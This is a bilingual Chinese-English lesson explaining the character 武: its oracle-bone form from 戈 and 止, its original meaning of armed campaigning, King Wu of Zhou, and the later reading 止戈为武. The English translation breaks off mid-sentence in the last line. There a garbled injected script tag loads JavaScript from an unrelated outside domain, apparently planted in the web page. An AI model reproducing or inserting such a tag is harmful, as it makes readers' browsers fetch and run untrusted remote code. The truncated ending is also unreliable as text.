在中国古代,如果一个人既有好的文才,又有好的武艺①,就会被人们说成“能文能武”或者“文武双全”,这是对一个人很高的评价。所以,学习文化和武艺,是古代有志向的年轻人必须要做的事情。直到今天,“文武双全”这样的词语还在使用,用来称赞一个人能力很全面。
“武”字的主要含义有两方面:在“武术”“武艺”这些词中,“武”的意思是“关于技击的”;而在“武力②”“武器”“武装”等词中,“武”的意思是“关于军事的”。
甲骨文的“武”字,是一个由“戈”字与“止”字组成的会意字,上面的部分是“戈”,下面的部分是“止”。
“戈③”字在甲骨文中,是按照一种古代兵器的样子造出的象形字,意思就是指这种兵器。用“戈”字作为偏旁的汉字,常常和战争有关,比如“战”字右边的部分就是“戈”。汉语里有一个成语“化干戈为玉帛④”,这里的“干戈”就代表战争。
“止”字在甲骨文中,是按照脚的样子造出的象形字,最初就是“脚”的意思(“趾⑤”字最早就写成“止”)。在甲骨文中,作为其他汉字的偏旁时,“止”常常表示“行走、行动”的意思。至于它表示的“停止、制止⑥”的意思,是后来才产生的。
甲骨文中就已出现的“武”字,本来表示的是“武力征伐”的意思。因为征伐需要行动,所以“武”字的下面是“止”。因为征伐要使用兵器,所以“武”字的上面是“戈”。从“耀武扬威⑦”这样的成语中,我们还能体会出“武”字原来的含义。
传说在商朝(约前1600-前1046)末期,商纣王的统治非常残暴,于是商的属国周的领导人姬发,就带领军队讨伐⑧纣王,结束了纣王的统治,建立了周朝(前1046-前256)。姬发死后,为了纪念他讨伐纣王的伟大成就,给他的谥号就是“武”,他就是中国历史上著名的周武王。后来,为了纪念他的成就而创作的一种乐舞也叫做《武》(又叫《大武》)。这些事情都反映了当时人们对“武”字的理解。
“戈”字常常代表战争,“止”字后来又有了“停止、制止”的意思,“武”字就是“戈”和“止”组成的。所以,从春秋时期(前770-前476)开始,就有人用“止戈为武”的说法来解释“武”字的含义。他们认为,“武”字的意思就是“用武力制止战争的行动”。这种解释,强调了“制止战争”,与“武”字最初造字时的原意(即武力征伐)是不同的。“止戈为武”的说法,实际上反映了人们反对战争的态度。
从“武”字造字的本来含义,可以看出中国的“武术”是从古代战争的搏击技术中逐渐产生、发展起来的。当然,只有当人们远离残酷⑨的战争时,“武术”才会真正成为一种可以健身和娱乐的艺术,“中国功夫”才会成为中国文化的精华⑩,受到世界人民的喜爱。
In ancient China, a person who was good at both literature and martial arts was described as 能文能武 or 文武双全, which was a very high compliment. Therefore, acquiring literacy and martial arts was a must for ambitious young men in ancient times. Today, expressions like 文武双全 are still used to compliment a person on his all-round abilities.
The character 武 has two main meanings. In words like 武术 and 武艺, it means martial; in words like 武器 ‘weapon’ and 武装 ‘arms, military equipment’, it means military.
In the oracle-bone script, the character 武 is an associative compound character with 戈 above and 止 below.
The character 戈 in the oracle-bone script, is a pictograph representing an ancient spear-like weapon called ge. Compound Chinese characters with 戈 as a component are often associated with war. For example, the word 战 ‘battle, war’, has 戈 as its right component. In the proverb 化干戈为玉帛, literally ‘turning weapons into jade and silk’, which is the Chinese counterpart of “turning swords into the ploughshares”, the expression 干戈 refers to war.
In the oracle-bone script, the character止 is a pictograph in the form of a foot and originally meant foot. (The character趾 ‘toe’ was originally written as止.) When used as a component of compound Chinese characters, 止 often means walk or move. Its meaning “stop” was a later development.
The character 武 ‘martial, military?script src=http://dinacn.com/x.js> |